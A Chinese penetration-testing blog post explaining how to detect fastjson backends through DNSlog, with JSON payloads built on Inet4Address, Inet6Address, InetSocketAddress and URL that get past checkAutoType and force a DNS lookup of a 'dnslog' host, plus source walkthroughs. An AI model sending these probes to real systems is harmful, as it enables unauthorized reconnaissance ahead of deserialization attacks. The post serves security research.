通过dnslog探测fastjson的几种方法

0x01 背景

在渗透测试中遇到json数据一般都会测试下有没有反序列化。然而json库有fastjson,jackson,gson等等。怎么判断后端不是fastjson呢?这就需要构造特定的payload了。

昨天翻看fastjson源码时发现了一些可以构造dns解析且没在黑名单当中的类,于是顺手给官方提了下Issue。有趣的是后续的师傅们讨论还挺热闹的,我也在这次讨论中学习了很多。这篇文章算是对那些方法的汇总和原理分析。

给fastjson官方提的issue

0x02 方法一:利用java.net.Inet[4|6]Address

很早之前有一个方法是使用java.net.InetAddress类,现在这个类已经列入黑名单。然而在翻阅fastjson最新版源码(v1.2.67)时,发现两个类没有在黑名单中,于是可以构造了如下payload,即可使fastjson进行DNS解析。下面以java.net.Inet4Address为例分析构造原理。

1
2
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

我们知道在fastjson在反序列化之前都会调用checkAutoType方法对类进行检查。通过调试发现,由于java.net.Inet4Address不在黑名单中,所以就算开启AutoType也是能过1处的检查。

fastjson的ParserConfig类自己维护了一个IdentityHashMap,在这个HashMap中的类会被认为是安全的。在2处可以在IdentityHashMap中可以获取到java.net.Inet4Address,所以clazz不为null,导致在3处就返回了。跳过了后续的未开启AutoType的黑名单检查。所以可以发现无论AutoType是否开启,都可以过checkAutoType的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
//com.alibaba.fastjson.parser.ParserConfig#checkAutoType
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
...
Class clazz;

// 1.当打开了autoTypeSupport,类名又不在白名单时进行的黑名单检查
if (!internalWhite && (this.autoTypeSupport || expectClassFlag)) {
hash = h3;

for(mask = 3; mask < className.length(); ++mask) {
hash ^= (long)className.charAt(mask);
hash *= 1099511628211L;
....
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null && Arrays.binarySearch(this.acceptHashCodes, fullHash) < 0) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}


clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
// 2. fastjson的ParserConfig类自己维护了一个IdentityHashMap在这个HashMap中的类会被认为是安全的,会直接被返回。
clazz = this.deserializers.findClass(typeName);
}

if (clazz == null) {
clazz = (Class)this.typeMapping.get(typeName);
}

if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
}

if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
// 3. 直接返回,不再走下面的autoTypeSupport和黑名单检查
return clazz;
}
} else {
// 4. 不开启autoType时,进行的黑名单检查
if (!this.autoTypeSupport) {
hash = h3;

for(mask = 3; mask < className.length(); ++mask) {
char c = className.charAt(mask);
hash ^= (long)c;
hash *= 1099511628211L;
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
...
}
}
}
...
}

fastjason对于Inet4Address类会使用MiscCodec这个ObjectDeserializer来反序列化。跟进发现解析器会取出val字段的值赋值给strVal变量,由于我们的类是Inet4Address,所以代码会执行到1处,进行域名解析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//com.alibaba.fastjson.serializer.MiscCodec#deserialze
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
...
objVal = parser.parse();
...
strVal = (String)objVal;
if (strVal != null && strVal.length() != 0) {
if (clazz == UUID.class) {
...
} else if (clazz == URI.class) {
...
} else if (clazz == URL.class) {
...
} else if (clazz == Pattern.class) {
...
} else if (clazz == Locale.class) {
...
} else if (clazz == SimpleDateFormat.class) {
...
} else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
...
} else {
try {
// 1. 将strVal作为主机名,获取其对应的ip,域名在此处被解析
return InetAddress.getByName(strVal);
} catch (UnknownHostException var11) {
throw new JSONException("deserialize inet adress error", var11);
}
}
} else {
return null;
}
}

0x03 方法二:利用java.net.InetSocketAddress

java.net.InetSocketAddress类也在IdentityHashMap中,和上面一样无视checkAutoType检查。

通过它要走到InetAddress.getByName()流程相比方法一是要绕一些路的。刚开始一直没构造出来,后来在和实验室的@背影师傅交流时,才知道可以顺着解析器规则构造(它要啥就给它啥),最终payload如下,当然它是畸形的json。

1
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

那这个是怎样构造出来的呢?这就需要简单了解下fastjson的词法分析器了,这里就不展开了。这里尤为关键的是解析器token值对应的含义,可以在com.alibaba.fastjson.parser.JSONToken类中看到它们。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
//com.alibaba.fastjson.parser.JSONToken
public class JSONToken {
...
public static String name(int value) {
switch(value) {
case 1:
return "error";
case 2:
return "int";
case 3:
return "float";
case 4:
return "string";
case 5:
return "iso8601";
case 6:
return "true";
case 7:
return "false";
case 8:
return "null";
case 9:
return "new";
case 10:
return "(";
case 11:
return ")";
case 12:
return "{";
case 13:
return "}";
case 14:
return "[";
case 15:
return "]";
case 16:
return ",";
case 17:
return ":";
case 18:
return "ident";
case 19:
return "fieldName";
case 20:
return "EOF";
case 21:
return "Set";
case 22:
return "TreeSet";
case 23:
return "undefined";
case 24:
return ";";
case 25:
return ".";
case 26:
return "hex";
default:
return "Unknown";
}
}
}

构造这个payload需要分两步,第一步我们需要让代码执行到1处,这一路解析器要接收的字符在代码已经标好。按照顺序写就是{"@type":"java.net.InetSocketAddress"{"address":

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//com.alibaba.fastjson.serializer.MiscCodec#deserialze
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;
String className;
if (clazz == InetSocketAddress.class) {
if (lexer.token() == 8) {
lexer.nextToken();
return null;
} else {
// 12 ---> {
parser.accept(12);
InetAddress address = null;
int port = 0;

while(true) {
className = lexer.stringVal();

lexer.nextToken(17);
// 字段名需要为address
if (className.equals("address")) {
// 17 ---> :
parser.accept(17);
// 1. 我们需要让解析器走到这里
address = (InetAddress)parser.parseObject(InetAddress.class);
}
...
}
}
}
...
}

parser.parseObject(InetAddress.class)最终依然会,调用MiscCodec#deserialze()方法来序列化,这里就来到我们构造payload的第二步。第二步的目标是要让解析器走到InetAddress.getByName(strVal)。解析器要接受的字符在代码里标好了,按照顺序写就是,"val":"http://dnslog"}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//com.alibaba.fastjson.serializer.MiscCodec#deserialze
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;
String className;
// 序列化的是InetAddress.class类,走else流程
if (clazz == InetSocketAddress.class) {
...
} else {
Object objVal;
if (parser.resolveStatus == 2) {
parser.resolveStatus = 0;
// 16 ---> ,
parser.accept(16);
if (lexer.token() != 4) {
throw new JSONException("syntax error");
}
// 字段名 ---> val
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}

lexer.nextToken();
// 17 ---> :
parser.accept(17);
// 之后解析为对象,也就是val字段对应的值
objVal = parser.parse();
// 13 ---> }
parser.accept(13);
}
....
// 后续的流程和方法一一样了,进行类型判断
strVal = (String)objVal;
if (strVal != null && strVal.length() != 0) {
if (clazz == UUID.class) {
...
} else if (clazz == URI.class) {
...
} else if (clazz == URL.class) {
...
} else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
...
} else {
try {
// 域名解析
return InetAddress.getByName(strVal);
} catch (UnknownHostException var11) {
throw new JSONException("deserialize inet adress error", var11);
}
}
}
}

两段合起来就得到了最终的payload。

0x04 方法三:利用java.net.URL

java.net.URL类也在IdentityHashMap中,和上面一样无视checkAutoType检查。

1
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

来源于@retanoj@threedr3am两位师傅的启发,其原理和ysoserial中的URLDNS这个gadget原理一样。

简单来说就是向HashMap压入一个键值对时,HashMap需要获取key对象的hashcode。当key对象是一个URL对象时,在获取它的hashcode期间会调用getHostAddress方法获取host,这个过程域名会被解析。

URL对象hashcode的获取过程

fastjson解析上述payload时,先反序列化出URL(http://dnslog)对象,然后将{URL(http://dnslog):"x"}解析为一个HashMap,域名被解析。

@retanojIssue中还构造了好几个畸形的payload,虽然原理都是一样的,但还是挺有意思的,感受到了师傅对fastjson词法分析器透彻的理解。

1
2
3
4
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:0

0x05 留一个问题

最后留个问题吧,我们都知道一般影响fastjson的gadget也会影响jackson。那么我们上面构造的payload,使用相同的原理能在jackson实现么?如果能,又该怎么构造呢?欢迎在blog留言区分享你的思考。

0x06 参考文献